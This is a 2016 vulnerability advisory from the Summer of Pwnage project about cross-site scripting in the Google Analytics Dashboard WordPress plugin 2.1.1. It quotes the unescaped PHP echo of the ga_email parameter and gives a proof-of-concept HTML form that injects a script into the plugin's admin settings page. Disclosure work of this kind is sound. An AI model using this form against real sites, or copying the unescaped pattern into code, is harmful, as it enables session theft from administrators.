WordPress Google Analytics Dashboard 2.1.1 Cross Site Scripting
Posted on 03 March 2017
------------------------------------------------------------------------ Cross-Site Scripting in Google Analytics Dashboard WordPress Plugin ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Scripting vulnerability was found in the Google Analytics Dashboard WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160724-0026 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Google Analytics Dashboard WordPress Plugin version 2.1.1. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ There is currently no fix available. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_google_analytics_dashboard_wordpress_plugin.html This issue exists in the file gad-admin-options-ui.php and is caused due to the lack of output encoding on the ga_email option/request parameter. <tr valign="top"> <th scope="row"> <label for="ga_email"><?php _e( 'Google Analytics Email', 'google-analytics-dashboard' ); ?></label></th> <td> <input name="ga_email" type="text" size="15" id="ga_email" class="regular-text" value="<?php echo isset( $_POST['ga_email'] ) ? $_POST['ga_email'] : get_option( 'gad_login_email' ); ?>" /> </td> </tr> In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. Proof of concept <html> <body> <form action="http://<target>/wp-admin/options-general.php?page=google-analytics-dashboard%2Fgad-admin-options.php" method="POST"> <input type="hidden" name="gad_login_type" value="client" /> <input type="hidden" name="ga_email" value=""><script>alert(1);</script>" /> <input type="hidden" name="ga_pass" value="password" /> <input type="hidden" name="ga_save_pass" value="ga_save_pass" /> <input type="hidden" name="SubmitLogin" value="Login ?»" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
